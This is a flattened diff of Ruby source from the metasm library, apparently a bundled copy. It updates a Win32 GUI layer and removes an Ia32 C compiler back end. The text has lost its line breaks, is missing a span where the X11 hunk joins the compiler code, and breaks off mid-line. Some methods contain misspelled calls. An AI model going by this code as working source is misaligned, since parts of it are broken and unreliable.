:style => Win32Gui::CS_DBLCLKS, :hcursor => Win32Gui.loadcursora(0, Win32Gui::IDC_ARROW), :lpszclassname => cname, - :lpfnwndproc => Win32Gui.callback_alloc_c('__stdcall int wndproc(int, int, int, int)') { |hwnd, msg, wp, lp| windowproc(hwnd, msg, wp, lp) } + :lpfnwndproc => Win32Gui.callback_alloc_c('__stdcall int wndproc(int, int, int, int)') { |hwnd, msg, wp, lp| windowproc(hwnd, msg, wp, lp) } Win32Gui.registerclassexa(cls) - + @hwnd = Win32Gui.createwindowexa(win32styleex, cname, 'win32gui window', win32style, Win32Gui::CW_USEDEFAULT, Win32Gui::SW_HIDE, Win32Gui::CW_USEDEFAULT, 0, 0, 0, 0, 0) initialize_window(*a, &b) @@ -1997,7 +2084,8 @@ class Window h.update v => { :prior => :pgup, :next => :pgdown, :escape => :esc, :return => :enter, - :back => :backspace, + :back => :backspace, :apps => :popupmenu, + :add => ?+, :subtract => ?-, :multiply => ?*, :divide => ?/, }.fetch(key, key) } @@ -2053,7 +2141,9 @@ class Window when Win32Gui::WM_KEYDOWN, Win32Gui::WM_SYSKEYDOWN # SYSKEYDOWN for f10 (default = activate the menu bar) if key = Keyboard_trad[wparam] - if keyboard_state(:control) + if [?+, ?-, ?/, ?*].include?(key) + # keypad keys generate wm_keydown + wm_char, ignore this one + elsif keyboard_state(:control) @widget.keypress_ctrl_(key) if @widget else @widget.keypress_(key) if @widget @@ -2064,15 +2154,15 @@ class Window if keyboard_state(:control) and not keyboard_state(:alt) # altgr+[ returns CTRL on.. if ?a.kind_of?(String) wparam += (keyboard_state(:shift) ? ?A.ord : ?a.ord) - 1 if wparam < 0x1a - k = wparam.chr + key = wparam.chr else wparam += (keyboard_state(:shift) ? ?A : ?a) - 1 if wparam < 0x1a - k = wparam + key = wparam end - @widget.keypress_ctrl_(k) if @widget + @widget.keypress_ctrl_(key) if @widget else - k = (?a.kind_of?(String) ? wparam.chr : wparam) - @widget.keypress_(k) if @widget + key = (?a.kind_of?(String) ? wparam.chr : wparam) + @widget.keypress_(key) if @widget end when Win32Gui::WM_DESTROY destroy_window @@ -2214,12 +2304,39 @@ class Window # make the window's MenuBar reflect the content of @menu def update_menu + unuse_menu(@menu) Win32Gui.destroymenu(@menuhwnd) if @menuhwnd != 0 @menuhwnd = Win32Gui.createmenu() @menu.each { |e| create_menu_item(@menuhwnd, e) } Win32Gui.setmenu(@hwnd, @menuhwnd) end + def popupmenu(m, x, y) + hm = Win32Gui.createpopupmenu() + m.each { |e| create_menu_item(hm, e) } + pt = Win32Gui.alloc_c_struct('POINT', :x => x, :y => y) + Win32Gui.clienttoscreen(@hwnd, pt) + id = Win32Gui.trackpopupmenu(hm, Win32Gui::TPM_NONOTIFY | Win32Gui::TPM_RETURNCMD, pt.x, pt.y, 0, @hwnd, 0) + if p = @control_action[id] + # TrackPopup returns before WM_COMMAND is delivered, so if we + # want to cleanup @control_action we must call it now & clenup + p.call + end + unuse_menu(m) + Win32Gui.destroymenu(hm) + end + + def unuse_menu(m) + m.flatten.grep(Proc).reverse_each { |c| + if @control_action[@controlid-1] == c + @controlid -= 1 # recycle IDs + @control_action.delete @controlid + elsif i = @control_action.index(c) + @control_action.delete i + end + } + end + def create_menu_item(menu, entry) args = entry.dup @@ -2270,6 +2387,7 @@ class Window checked = action.call(!checked) Win32Gui.checkmenuitem(menu, id, (checked ? Win32Gui::MF_CHECKED : Win32Gui::MF_UNCHECKED)) } + entry << @control_action[id] # allow deletion in unuse_menu end @controlid += 1 end @@ -2329,7 +2447,7 @@ class OpenFile buf = [0].pack('C')*512 ofn = Win32Gui.alloc_c_struct 'OPENFILENAMEA', :lstructsize => :size, - #:hwndowner => win.hwnd, # 0 for nonmodal + #:hwndowner => win.hwnd, # 0 for nonmodal :lpstrfilter => "All Files\0*.*\0\0", :lpstrfile => buf, :lpstrtitle => title, @@ -2369,6 +2487,10 @@ class IBoxWidget < DrawableWidget @oldsel_x = @caret_x_select = 0 @caret_x = @curline.length @caret_x_start = 0 + @@history ||= {} + histkey = opts[:history] || label[0, 10] + @history = (@@history[histkey] ||= []) + @history_off = @history.length add_button('Ok', :btnc1, :btnc2) { keypress(:enter) } add_button('Cancel', :btnc1, :btnc2) { keypress(:esc) } @@ -2480,7 +2602,7 @@ class IBoxWidget < DrawableWidget @caret_x_select = nil end @caret_x -= 1 if @caret_x > 0 - update_caret + update_caret when :right if keyboard_state(:shift) @caret_x_select ||= @caret_x @@ -2488,7 +2610,7 @@ class IBoxWidget < DrawableWidget @caret_x_select = nil end @caret_x += 1 if @caret_x < @curline.length - update_caret + update_caret when :home if keyboard_state(:shift) @caret_x_select ||= @caret_x @@ -2505,7 +2627,19 @@ class IBoxWidget < DrawableWidget end @caret_x = @curline.length update_caret + when :up, :down + if @history_off < @history.length or @curline.strip != @history.last + @history[@history_off] = @curline.strip + end + @history_off += (key == :up ? -1 : 1) + @history_off %= @history.length + @curline = @history[@history_off].to_s + @caret_x = @curline.length if @caret_x > @curline.length + redraw when :enter + @history << @curline.strip + @history.pop if @history.last == '' + @history.pop if @history.last == @history[-2] destroy Gui.main_iter protect { @action.call(@curline.strip) } @@ -2588,7 +2722,7 @@ class IBoxWidget < DrawableWidget elsif mouserelease_buttons(x, y) end end - + def update_caret return if @oldcaret_x == @caret_x and @oldsel_x == @caret_x_select redraw @@ -2699,13 +2833,17 @@ class LBoxWidget < DrawableWidget def paint @btnx = [] @btny = 0 - @btnheight = @font_height * 4/3 + if @btnheight != @font_height * 4/3 + # fix vscrollbar height on w7 + @btnheight = @font_height * 4/3 + resized(width, height) + end x = 0 @colw.each { |w| @btnx << x x += w } - + x -= @sbh y = @btnheight @linehead = @sbv / @font_height @@ -2817,7 +2955,6 @@ class LBoxWidget < DrawableWidget vscroll((@linehead-off)*@font_height) redraw when :down - n = @lineshown-1 off = [@lineshown, [@lineshown/2, 5].max].min vscroll((@linehead+off)*@font_height) redraw @@ -2895,7 +3032,7 @@ class LBoxWidget < DrawableWidget if @list_ints[col] nlist = @list.sort_by { |a| [a[col].to_i, a] } else - nlist = @list.sort_by { |a| [a[col], a] } + nlist = @list.sort_by { |a| [a[col], a] } end nlist.reverse! if nlist == @list @list = nlist @@ -2907,7 +3044,7 @@ class LBoxWidget < DrawableWidget redraw end end - + def destroy @parent.destroy end @@ -2943,7 +3080,7 @@ end Win32Gui.getscrollinfo(@hwnd, Win32Gui::SB_VERT, sif) case wparam & 0xffff when Win32Gui::SB_THUMBPOSITION; val = sif.ntrackpos - when Win32Gui::SB_THUMBTRACK; val = sif.ntrackpos; nopos = true + when Win32Gui::SB_THUMBTRACK; val = sif.ntrackpos #; nopos = true when Win32Gui::SB_LINEDOWN; val = sif.npos + 1 when Win32Gui::SB_LINEUP; val = sif.npos - 1 when Win32Gui::SB_PAGEDOWN; val = sif.npos + sif.npage diff --git a/lib/metasm/metasm/gui/x11.rb b/lib/metasm/metasm/gui/x11.rb index 9f5cce772f..e4e411a546 100644 --- a/lib/metasm/metasm/gui/x11.rb +++ b/lib/metasm/metasm/gui/x11.rb @@ -9,31 +9,31 @@ module Metasm module Gui class XGui < DynLdr new_api_c < offset from ebp (::Integer or CExpression) - attr_accessor :offset - # the current function - attr_accessor :func - # register => CExpression - attr_accessor :cache - # array of register values used in the function (to save/restore at prolog/epilog) - attr_accessor :dirty - # the array of register values currently not available - attr_accessor :used - # the array of args in use (reg/modrm/composite) the reg dependencies are in +used+ - attr_accessor :inuse - # variable => register for current scope (variable never on the stack) - # bound registers are also in +used+ - attr_accessor :bound - # list of reg values that are not kept across function call - attr_accessor :abi_flushregs_call - # list of regs we can trash without restoring them - attr_accessor :abi_trashregs - - # +used+ includes ebp if true - # nil if ebp is not reserved for stack variable addressing - # Reg if used - attr_accessor :saved_ebp - - def initialize(func) - @func = func - @offset = {} - @cache = {} - @dirty = [] - @used = [4] # esp is always in use - @inuse = [] - @bound = {} - @abi_flushregs_call = [0, 1, 2] # eax, ecx, edx (r8 etc ?) - @abi_trashregs = [0, 1, 2] - end - end - - # tracks 2 registers storing a value bigger than each - class Composite - attr_accessor :low, :high - def initialize(low, high) - @low, @high = low, high - end - def sz; 64 end - end - - # some address - class Address - attr_accessor :modrm, :target - def initialize(modrm, target=nil) - @modrm, @target = modrm, target - end - def sz; @modrm.adsz end - def to_s; "#" end - end - - - def initialize(*a) - super(*a) - @cpusz = @exeformat.cpu.size - @regnummax = (@cpusz == 64 ? 15 : 7) - end - - # shortcut to add an instruction to the source - def instr(name, *args) - # XXX parse_postfix ? - @source << Instruction.new(@exeformat.cpu, name, args) - end - - # returns an available register, tries to find one not in @state.cache - # do not use with sz==8 (aliasing ah=>esp) - # does not put it in @state.inuse - # TODO multipass for reg cache optimization - # TODO dynamic regval for later fixup (need a value to be in ecx for shl, etc) - def findreg(sz = @cpusz) - caching = @state.cache.keys.grep(Reg).map { |r| r.val } - if not regval = ([*0..@regnummax] - @state.used - caching).first || - ([*0..@regnummax] - @state.used).first - raise 'need more registers! (or a better compiler?)' - end - getreg(regval, sz) - end - - # returns a Reg from a regval, mark it as dirty, flush old cache dependencies - def getreg(regval, sz=@cpusz) - flushcachereg(regval) - @state.dirty |= [regval] - Reg.new(regval, sz) - end - - # remove the cache keys that depends on the register - def flushcachereg(regval) - @state.cache.delete_if { |e, val| - case e - when Reg; e.val == regval - when Address; e = e.modrm ; redo - when ModRM; e.b && (e.b.val == regval) or e.i && (e.i.val == regval) - when Composite; e.low.val == regval or e.high.val == regval - end - } - end - - # removes elements from @state.inuse, free @state.used if unreferenced - # must be the exact object present in inuse - def unuse(*vals) - vals.each { |val| - val = val.modrm if val.kind_of? Address - @state.inuse.delete val - } - # XXX cache exempt - exempt = @state.bound.values.map { |r| r.kind_of? Composite ? [r.low.val, r.high.val] : r.val }.flatten - exempt << 4 - exempt << 5 if @state.saved_ebp - @state.used.delete_if { |regval| - next if exempt.include? regval - not @state.inuse.find { |val| - case val - when Reg; val.val == regval - when ModRM; (val.b and val.b.val == regval) or (val.i and val.i.val == regval) - when Composite; val.low.val == regval or val.high.val == regval - else raise 'internal error - inuse ' + val.inspect - end - } - } - end - - # marks an arg as in use, returns the arg - def inuse(v) - case v - when Reg; @state.used |= [v.val] - when ModRM - @state.used |= [v.i.val] if v.i - @state.used |= [v.b.val] if v.b - when Composite; @state.used |= [v.low.val, v.high.val] - when Address; inuse v.modrm ; return v - else return v - end - @state.inuse |= [v] - v - end - - # returns a variable storage (ModRM for stack/global, Reg/Composite for register-bound) - def findvar(var) - if ret = @state.bound[var] - return ret - end - - if ret = @state.cache.index(var) - ret = ret.dup - inuse ret - return ret - end - - sz = 8*sizeof(var) rescue nil # extern char foo[]; - - case off = @state.offset[var] - when C::CExpression - # stack, dynamic address - # TODO - # no need to update state.cache here, never recursive - v = raise "find dynamic addr of #{var.name}" - when ::Integer - # stack - # TODO -fomit-frame-pointer ( => state.cache dependant on stack_offset... ) - v = ModRM.new(@cpusz, sz, nil, nil, @state.saved_ebp, Expression[-off]) - when nil - # global - if @exeformat.cpu.generate_PIC - if not reg = @state.cache.index('metasm_intern_geteip') - @need_geteip_stub = true - if @state.used.include? 6 # esi - reg = findreg - else - reg = getreg 6 - end - if reg.val != 0 - if @state.used.include? 0 - eax = Reg.new(0, @cpusz) - instr 'mov', reg, eax - else - eax = getreg 0 - end - end - - instr 'call', Expression['metasm_intern_geteip'] - - if reg.val != 0 - if @state.used.include? 0 - instr 'xchg', eax, reg - else - instr 'mov', reg, eax - end - end - - @state.cache[reg] = 'metasm_intern_geteip' - end - v = ModRM.new(@cpusz, sz, nil, nil, reg, Expression[var.name, :-, 'metasm_intern_geteip']) - else - v = ModRM.new(@cpusz, sz, nil, nil, nil, Expression[var.name]) - end - end - - case var.type - when C::Array; inuse Address.new(v) - else inuse v - end - end - - # resolves the Address to Reg/Expr (may encode an 'lea') - def resolve_address(e) - r = e.modrm - unuse e - if r.imm and not r.b and not r.i - reg = r.imm - elsif not r.imm and ((not r.b and r.s == 1) or not r.i) - reg = r.b || r.i - elsif reg = @state.cache.index(e) - reg = reg.dup - else - reg = findreg - r.sz = reg.sz - instr 'lea', reg, r - end - inuse reg - @state.cache[reg] = e - reg - end - - # copies the arg e to a volatile location (register/composite) if it is not already - # unuses the old storage - # may return a register bigger than the type size (eg __int8 are stored in full reg size) - # use rsz only to force 32bits-return on a 16bits cpu - def make_volatile(e, type, rsz=@cpusz) - if e.kind_of? ModRM or @state.bound.index(e) - if type.integral? or type.pointer? - oldval = @state.cache[e] - if type.integral? and type.name == :__int64 and @cpusz != 64 - e2l = inuse findreg(32) - unuse e - e2h = inuse findreg(32) - el, eh = get_composite_parts e - instr 'mov', e2l, el - instr 'mov', e2h, eh - e2 = inuse Composite.new(e2l, e2h) - unuse e2l, e2h - else - unuse e - n = type.integral? ? type.name : :ptr - if (sz = typesize[n]*8) < @cpusz or sz < rsz or e.sz < rsz - e2 = inuse findreg(rsz) - op = ((type.specifier == :unsigned) ? 'movzx' : 'movsx') - op = 'mov' if e.sz == e2.sz - else - e2 = inuse findreg(sz) - op = 'mov' - end - instr op, e2, e - end - @state.cache[e2] = oldval if oldval and e.kind_of? ModRM - e2 - elsif type.float? - raise 'bad float static' + e.inspect if not e.kind_of? ModRM - unuse e - instr 'fld', e - FpReg.new nil - else raise - end - elsif e.kind_of? Address - make_volatile resolve_address(e), type, rsz - elsif e.kind_of? Expression - if type.integral? or type.pointer? - if type.integral? and type.name == :__int64 and @cpusz != 64 - e2 = inuse Composite.new(inuse(findreg(32)), findreg(32)) - instr 'mov', e2.low, Expression[e, :&, 0xffff_ffff] - instr 'mov', e2.high, Expression[e, :>>, 32] - else - e2 = inuse findreg - instr 'mov', e2, e - end - e2 - elsif type.float? - case e.reduce - when 0; instr 'fldz' - when 1; instr 'fld1' - else - esp = Reg.new(4, @cpusz) - instr 'push.i32', Expression[e, :>>, 32] - instr 'push.i32', Expression[e, :&, 0xffff_ffff] - instr 'fild', ModRM.new(@cpusz, 64, nil, nil, esp, nil) - instr 'add', esp, 8 - end - FpReg.new nil - end - else - e - end - end - - # returns two args corresponding to the low and high 32bits of the 64bits composite arg - def get_composite_parts(e) - case e - when ModRM - el = e.dup - el.sz = 32 - eh = el.dup - eh.imm = Expression[eh.imm, :+, 4] - when Expression - el = Expression[e, :&, 0xffff_ffff] - eh = Expression[e, :>>, 32] - when Composite - el = e.low - eh = e.high - when Reg - el = e - eh = findreg - else raise - end - [el, eh] - end - - # returns the instruction suffix for a comparison operator - def getcc(op, type) - case op - when :'=='; 'z' - when :'!='; 'nz' - when :'<' ; 'b' - when :'>' ; 'a' - when :'<='; 'be' - when :'>='; 'ae' - else raise "bad comparison op #{op}" - end.tr((type.specifier == :unsigned ? '' : 'ab'), 'gl') - end - - # compiles a c expression, returns an Ia32 instruction argument - def c_cexpr_inner(expr) - case expr - when ::Integer; Expression[expr] - when C::Variable; findvar(expr) - when C::CExpression - if not expr.lexpr or not expr.rexpr - inuse c_cexpr_inner_nol(expr) - else - inuse c_cexpr_inner_l(expr) - end - when C::Label; findvar(C::Variable.new(expr.name, C::Array.new(C::BaseType.new(:void), 1))) - else puts "ia32/c_ce_i: unsupported #{expr}" if $VERBOSE - end - end - - # compile a CExpression with no lexpr - def c_cexpr_inner_nol(expr) - case expr.op - when nil - r = c_cexpr_inner(expr.rexpr) - if (expr.rexpr.kind_of? C::CExpression or expr.rexpr.kind_of? C::Variable) and - expr.type.kind_of? C::BaseType and expr.rexpr.type.kind_of? C::BaseType - r = c_cexpr_inner_cast(expr, r) - end - r - when :+ - c_cexpr_inner(expr.rexpr) - when :- - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.type) - if expr.type.integral? or expr.type.pointer? - if r.kind_of? Composite - instr 'neg', r.low - instr 'adc', r.high, Expression[0] - instr 'neg', r.high - else - instr 'neg', r - end - elsif expr.type.float? - instr 'fchs' - else raise - end - r - when :'++', :'--' - r = c_cexpr_inner(expr.rexpr) - inc = true if expr.op == :'++' - if expr.type.integral? or expr.type.pointer? - if expr.type.integral? and expr.type.name == :__int64 and @cpusz != 64 - rl, rh = get_composite_parts r - instr 'add', rl, Expression[inc ? 1 : -1] - instr 'adc', rh, Expression[inc ? 0 : -1] - else - op = (inc ? 'inc' : 'dec') - instr op, r - end - elsif expr.type.float? - raise 'bad lvalue' if not r.kind_of? ModRM - instr 'fld1' - op = (inc ? 'faddp' : 'fsubp') - instr op, r - instr 'fstp', r - end - r - when :& - raise 'bad precompiler ' + expr.to_s if not expr.rexpr.kind_of? C::Variable - @state.cache.each { |r_, c| - return inuse(r_) if c.kind_of? Address and c.target == expr.rexpr - } - r = c_cexpr_inner(expr.rexpr) - raise 'bad lvalue' if not r.kind_of? ModRM - unuse r - r = Address.new(r) - inuse r - r.target = expr.rexpr - r - when :* - expr.rexpr.type.name = :ptr if expr.rexpr.kind_of? C::CExpression and expr.rexpr.type.kind_of? C::BaseType and typesize[expr.rexpr.type.name] == typesize[:ptr] # hint to use Address - e = c_cexpr_inner(expr.rexpr) - sz = 8*sizeof(expr) - case e - when Address - unuse e - e = e.modrm.dup - e.sz = sz - inuse e - when ModRM; e = make_volatile(e, expr.rexpr.type) if not expr.rexpr.type.float? - end - case e - when Reg; unuse e ; e = inuse ModRM.new(@cpusz, sz, nil, nil, e, nil) - when Expression; e = inuse ModRM.new(@cpusz, sz, nil, nil, nil, e) - end - e - when :'!' - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.rexpr.type) - if expr.rexpr.type.integral? or expr.type.pointer? - if expr.type.integral? and expr.rexpr.type.name == :__int64 and @cpusz != 64 - raise # TODO - end - r = make_volatile(r, expr.rexpr.type) - instr 'test', r, r - elsif expr.rexpr.type.float? - if @exeformat.cpu.opcode_list_byname['fucomip'] - instr 'fldz' - instr 'fucomip' - else - raise # TODO - end - r = inuse findreg - else raise 'bad comparison ' + expr.to_s - end - if @exeformat.cpu.opcode_list_byname['setz'] - instr 'setz', Reg.new(r.val, 8) - instr 'and', r, Expression[1] - else - instr 'mov', r, Expression[1] - label = new_label('setcc') - instr 'jz', Expression[label] - instr 'mov', r, Expression[0] - @source << Label.new(label) - end - r - else raise 'mmh ? ' + expr.to_s - end - end - - # compile a cast (BaseType to BaseType) - def c_cexpr_inner_cast(expr, r) - esp = Reg.new(4, @cpusz) - if expr.type.float? and expr.rexpr.type.float? - if expr.type.name != expr.rexpr.type.name and r.kind_of? ModRM - instr 'fld', r - unuse r - r = FpReg.new nil - end - elsif expr.type.float? and expr.rexpr.type.integral? - r = resolve_address r if r.kind_of? Address - return make_volatile(r, expr.type) if r.kind_of? Expression - unuse r - if expr.rexpr.type.specifier == :unsigned and r.sz != 64 - instr 'push.i32', Expression[0] - end - case r - when ModRM - case expr.rexpr.type.name - when :__int8, :__int16 - r = make_volatile(r, expr.rexpr.type, 32) - instr 'push', r - else - if expr.rexpr.type.specifier != :unsigned - instr 'fild', r - return FpReg.new(nil) - end - if r.sz == 64 - get_composite_parts(r).reverse_each { |rp| instr 'push', rp } - else - instr 'push', r - end - end - when Composite - instr 'push', r.high - instr 'push', r.low - when Reg - if r.sz == 16 - op = ((expr.rexpr.type.specifier == :unsigned) ? 'movzx' : 'movsx') - rr = r.dup - rr.sz = 32 - instr op, rr, r - r = rr - end - instr 'push', r - end - m = ModRM.new(@cpusz, r.sz, nil, nil, esp, nil) - instr 'fild', m - instr 'add', esp, (expr.rexpr.type.specifier == :unsigned ? 8 : Expression[r.sz/8]) - if expr.rexpr.type.specifier == :unsigned and r.sz == 64 - label = new_label('unsign_float') - if m.sz == 64 and @cpusz < 64 - foo, m = get_composite_parts m - end - m2 = m - m2 = make_volatile(m, expr.rexpr.type) if m.kind_of? ModRM - m2 = get_composite_parts(m2)[0] if m2.kind_of? Composite - instr 'test', m2, m2 - instr 'jns', Expression[label] - instr 'push.i32', Expression[0x7fff_ffff] - instr 'push.i32', Expression[0xffff_ffff] - instr 'fild', m - instr 'add', esp, 8 - instr 'faddp', FpReg.new(1) - instr 'fld1' - instr 'faddp', FpReg.new(1) - @source << Label.new(label) - end - r = FpReg.new nil - elsif expr.type.integral? and expr.rexpr.type.float? - r = make_volatile(r, expr.rexpr.type) # => ST(0) - - if expr.type.name == :__int64 - instr 'sub', esp, Expression[8] - instr 'fistp', ModRM.new(@cpusz, 64, nil, nil, esp, nil) - if @cpusz == 64 - r = findreg - instr 'pop', r - else - r = Composite.new(findreg(32), findreg(32)) - instr 'pop', r.low - instr 'pop', r.high - end - else - instr 'sub', esp, Expression[4] - instr 'fistp', ModRM.new(@cpusz, 32, nil, nil, esp, nil) - r = findreg(32) - instr 'pop', r - tto = typesize[expr.type.name]*8 - instr 'and', r, Expression[(1< tto - end - inuse r - elsif (expr.type.integral? or expr.type.pointer?) and (expr.rexpr.type.integral? or expr.rexpr.type.pointer?) - tto = typesize[expr.type.integral? ? expr.type.name : :ptr]*8 - tfrom = typesize[expr.rexpr.type.integral? ? expr.rexpr.type.name : :ptr]*8 - r = resolve_address r if r.kind_of? Address - if r.kind_of? Expression - r = make_volatile r, expr.type - elsif tfrom > tto - if tfrom == 64 and r.kind_of? Composite - unuse r - r = r.low - inuse r - end - case r - when ModRM - unuse r - r = r.dup - r.sz = tto - inuse r - when Reg - instr 'and', r, Expression[(1< tto - end - elsif tto > tfrom - if tto == 64 and @cpusz != 64 - high = findreg(32) - unuse r - if not r.kind_of? Reg or r.sz != 32 - inuse high - low = findreg(32) - unuse high - op = (r.sz == 32 ? 'mov' : (expr.rexpr.type.specifier == :unsigned ? 'movzx' : 'movsx')) - instr op, low, r - r = low - end - r = inuse Composite.new(r, high) - if expr.type.specifier == :unsigned - instr 'xor', r.high, r.high - else - instr 'mov', r.high, r.low - instr 'sar', r.high, Expression[31] - end - elsif not r.kind_of? Reg or r.sz != @cpusz - unuse r - reg = inuse findreg - op = (r.sz == reg.sz ? 'mov' : (expr.rexpr.type.specifier == :unsigned ? 'movzx' : 'movsx')) - instr op, reg, r - r = reg - end - end - end - r - end - - # compiles a CExpression, not arithmetic (assignment, comparison etc) - def c_cexpr_inner_l(expr) - case expr.op - when :funcall - c_cexpr_inner_funcall(expr) - when :'+=', :'-=', :'*=', :'/=', :'%=', :'^=', :'&=', :'|=', :'<<=', :'>>=' - l = c_cexpr_inner(expr.lexpr) - raise 'bad lvalue' if not l.kind_of? ModRM and not @state.bound.index(l) - instr 'fld', l if expr.type.float? - r = c_cexpr_inner(expr.rexpr) - op = expr.op.to_s.chop.to_sym - c_cexpr_inner_arith(l, op, r, expr.type) - instr 'fstp', l if expr.type.float? - l - when :'+', :'-', :'*', :'/', :'%', :'^', :'&', :'|', :'<<', :'>>' - # both sides are already cast to the same type by the precompiler - # XXX expr.type.pointer? - if expr.type.integral? and expr.type.name == :ptr and expr.lexpr.type.kind_of? C::BaseType and - typesize[expr.lexpr.type.name] == typesize[:ptr] - expr.lexpr.type.name = :ptr - end - l = c_cexpr_inner(expr.lexpr) - l = make_volatile(l, expr.type) if not l.kind_of? Address - if expr.type.integral? and expr.type.name == :ptr and l.kind_of? Reg - unuse l - l = Address.new ModRM.new(l.sz, @cpusz, nil, nil, l, nil) - inuse l - end - if l.kind_of? Address and expr.type.integral? - l.modrm.imm = nil if l.modrm.imm and not l.modrm.imm.op and l.modrm.imm.rexpr == 0 - if l.modrm.b and l.modrm.i and l.modrm.s == 1 and l.modrm.b.val == l.modrm.i.val - unuse l.modrm.b if l.modrm.b != l.modrm.i - l.modrm.b = nil - l.modrm.s = 2 - end - case expr.op - when :+ - rexpr = expr.rexpr - rexpr = rexpr.rexpr while rexpr.kind_of? C::CExpression and not rexpr.op and rexpr.type.integral? and - rexpr.rexpr.kind_of? C::CExpression and rexpr.rexpr.type.integral? and - typesize[rexpr.type.name] == typesize[rexpr.rexpr.type.name] - if rexpr.kind_of? C::CExpression and rexpr.op == :* and rexpr.lexpr - r1 = c_cexpr_inner(rexpr.lexpr) - r2 = c_cexpr_inner(rexpr.rexpr) - r1, r2 = r2, r1 if r1.kind_of? Expression - if r2.kind_of? Expression and [1, 2, 4, 8].include?(rr2 = r2.reduce) - case r1 - when ModRM, Address, Reg - r1 = make_volatile(r1, rexpr.type) if not r1.kind_of? Reg - if not l.modrm.i or (l.modrm.i.val == r1.val and l.modrm.s == 1 and rr2 == 1) - unuse l, r1, r2 - l = Address.new(l.modrm.dup) - inuse l - l.modrm.i = r1 - l.modrm.s = (l.modrm.s || 0) + rr2 - return l - end - end - end - r = make_volatile(r1, rexpr.type) - c_cexpr_inner_arith(r, :*, r2, rexpr.type) - else - r = c_cexpr_inner(rexpr) - end - r = resolve_address r if r.kind_of? Address - r = make_volatile(r, rexpr.type) if r.kind_of? ModRM - case r - when Reg - unuse l - l = Address.new(l.modrm.dup) - inuse l - if l.modrm.b - if not l.modrm.i or (l.modrm.i.val == r.val and l.modrm.s == 1) - l.modrm.i = r - l.modrm.s = (l.modrm.s || 0) + 1 - unuse r - return l - end - else - l.modrm.b = r - unuse r - return l - end - when Expression - unuse l, r - l = Address.new(l.modrm.dup) - inuse l - l.modrm.imm = Expression[l.modrm.imm, :+, r] - return l - end - when :- - r = c_cexpr_inner(expr.rexpr) - if r.kind_of? Expression - unuse l, r - l = Address.new(l.modrm.dup) - inuse l - l.modrm.imm = Expression[l.modrm.imm, :-, r] - return l - end - when :* - r = c_cexpr_inner(expr.rexpr) - if r.kind_of? Expression and [1, 2, 4, 8].includre?(rr = r.reduce) - if l.modrm.b and not l.modrm.i - if rr != 1 - l.modrm.i = l.modrm.b - l.modrm.s = rr - l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm - end - unuse r - return l - elsif l.modrm.i and not l.modrm.b and l.modrm.s*rr <= 8 - l.modrm.s *= rr - l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm and rr != 1 - unuse r - return l - end - end - end - end - l = make_volatile(l, expr.type) if l.kind_of? Address - r ||= c_cexpr_inner(expr.rexpr) - c_cexpr_inner_arith(l, expr.op, r, expr.type) - l - when :'=' - r = c_cexpr_inner(expr.rexpr) - l = c_cexpr_inner(expr.lexpr) - raise 'bad lvalue ' + l.inspect if not l.kind_of? ModRM and not @state.bound.index(l) - r = resolve_address r if r.kind_of? Address - r = make_volatile(r, expr.type) if l.kind_of? ModRM and r.kind_of? ModRM - unuse r - if expr.type.integral? or expr.type.pointer? - if expr.type.integral? and expr.type.name == :__int64 and @cpusz != 64 - ll, lh = get_composite_parts l - rl, rh = get_composite_parts r - instr 'mov', ll, rl - instr 'mov', lh, rh - elsif r.kind_of? Address - m = r.modrm.dup - m.sz = l.sz - instr 'lea', l, m - else - if l.kind_of? ModRM and r.kind_of? Reg and l.sz != r.sz - raise if l.sz > r.sz - if l.sz == 8 and r.val >= 4 - reg = ([0, 1, 2, 3] - @state.used).first - if not reg - eax = Reg.new(0, r.sz) - instr 'push', eax - instr 'mov', eax, r - instr 'mov', l, Reg.new(eax.val, 8) - instr 'pop', eax - else - flushecachereg(reg) - instr 'mov', Reg.new(reg, r.sz), r - instr 'mov', l, Reg.new(reg, 8) - end - else - instr 'mov', l, Reg.new(r.val, l.sz) - end - else - instr 'mov', l, r - end - end - elsif expr.type.float? - r = make_volatile(r, expr.type) if r.kind_of? Expression - instr 'fstp', l - end - l - when :>, :<, :>=, :<=, :==, :'!=' - l = c_cexpr_inner(expr.lexpr) - l = make_volatile(l, expr.type) - r = c_cexpr_inner(expr.rexpr) - unuse r - if expr.lexpr.type.integral? or expr.lexpr.type.pointer? - if expr.lexpr.type.integral? and expr.lexpr.type.name == :__int64 and @cpusz != 64 - raise # TODO - end - instr 'cmp', l, r - elsif expr.lexpr.type.float? - raise # TODO - instr 'fucompp', l, r - l = inuse findreg - else raise 'bad comparison ' + expr.to_s - end - opcc = getcc(expr.op, expr.type) - if @exeformat.cpu.opcode_list_byname['set'+opcc] - instr 'set'+opcc, Reg.new(l.val, 8) - instr 'and', l, 1 - else - instr 'mov', l, Expression[1] - label = new_label('setcc') - instr 'j'+opcc, Expression[label] - instr 'mov', l, Expression[0] - @source << Label.new(label) - end - l - else - raise 'unhandled cexpr ' + expr.to_s - end - end - - # compiles a subroutine call - def c_cexpr_inner_funcall(expr) - # check if an obj has an attribute - check on obj and its type - hasattr = lambda { |o, a| (o.kind_of?(C::Variable) and o.has_attribute(a)) or o.type.has_attribute(a) } - hasattrv = lambda { |o, a| (o.kind_of?(C::Variable) and o.has_attribute_var(a)) or o.type.has_attribute_var(a) } - - fargs = expr.lexpr.type.pointer? ? expr.lexpr.type.pointed.args : expr.lexpr.type.args - - backup = [] - if hasattr[expr.lexpr, 'fastcall'] - regargs = [1, 2][0, expr.rexpr.length] - regargs += [nil] * (expr.rexpr.length-2) if expr.rexpr.length > 2 - else - regargs = fargs.map { |a| hasattrv[a, 'register'] }.map { |a| Reg.from_str(a).val if a } - end - @state.abi_flushregs_call.each { |reg| - next if reg == 4 - next if reg == 5 and @state.saved_ebp - if not @state.used.include? reg - if not @state.abi_trashregs.include? reg - # XXX should exclude other code compiled by us (we wont trash reg) - @state.dirty |= [reg] - end - next - end - backup << reg - unuse reg - instr 'push', Reg.new(reg, [@cpusz, 32].max) - } - regargs_list = regargs.compact - regargs_list.each { |reg| - next if backup.include? reg - @state.dirty |= [reg] - next if not @state.used.include? reg - backup << reg - instr 'push', Reg.new(reg, [@cpusz, 32].max) - } - expr.rexpr.reverse_each { |arg| - a = c_cexpr_inner(arg) - a = resolve_address a if a.kind_of? Address - unuse a - if r = regargs.pop - inuse r - instr 'mov', Reg.new(r, 32), a - next - end - case arg.type - when C::Pointer - instr 'push', a - when C::BaseType - case t = arg.type.name - when :__int8 - a = make_volatile(a, 